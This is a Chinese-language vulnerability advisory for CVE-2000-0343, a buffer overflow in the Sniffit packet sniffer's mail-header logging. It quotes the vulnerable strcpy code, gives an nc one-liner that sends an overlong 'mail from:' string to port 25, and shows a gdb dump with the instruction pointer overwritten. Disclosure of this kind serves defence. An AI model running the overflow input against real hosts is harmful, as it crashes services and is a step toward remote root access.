CVE:CVE-2000-0343
CNNVD:CNNVD-200005-011
Sniffit是一个常用的sniffer工具。可运行在多种Unix/Linux平台上。
它存在一个缓冲区溢出漏洞，可能导致攻击者远程获取root权限。
Sniffit在使用"-L mail"参数处理窃听到的邮件头("mail from:"和"rcpto to:")的时候，会将它们拷贝到一个固定大小的buffer中，导致可能发生溢出问题：问题处在下列两个地方：
    if(strstr(workbuf1，"mail from")!=NULL)
      {
      char workbuf2[MTU];
      strcpy(workbuf2， strstr(workbuf1，"mail from"));
和
    if(strstr(workbuf1，"rcpt to")!=NULL)
      {
      char workbuf2[MTU];
      strcpy(workbuf2， strstr(workbuf1，"rcpt to"));
...
当用户对局域网内任意主机的25端口发送包含超长"mail from:..."或者"rcpt to:..."内容的消息时，将会导致监听主机上的Sniffit发生溢出：
echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25
在运行Sniffit的机器上用gdb跟踪得到的结果：
Program received signal SIGSEGV， Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
     eax: 0x0 0
     ecx: 0x8057648 134575688
     edx: 0x8057648 134575688
     ebx: 0xbfff5b84 -1073783932
     esp: 0xbfff47a4 -1073789020
     ebp: 0x61616161 1633771873
     esi: 0xbfff6f0c -1073778932
     edi: 0xbfff6f0c -1073778932
     eip: 0x61616161 1633771873
...
solution:Upgrade brecht_claerhout sniffit to a higher version than 0.3.6hip,0.3.7beta,and avoid the version 0.3.6hip,0.3.7beta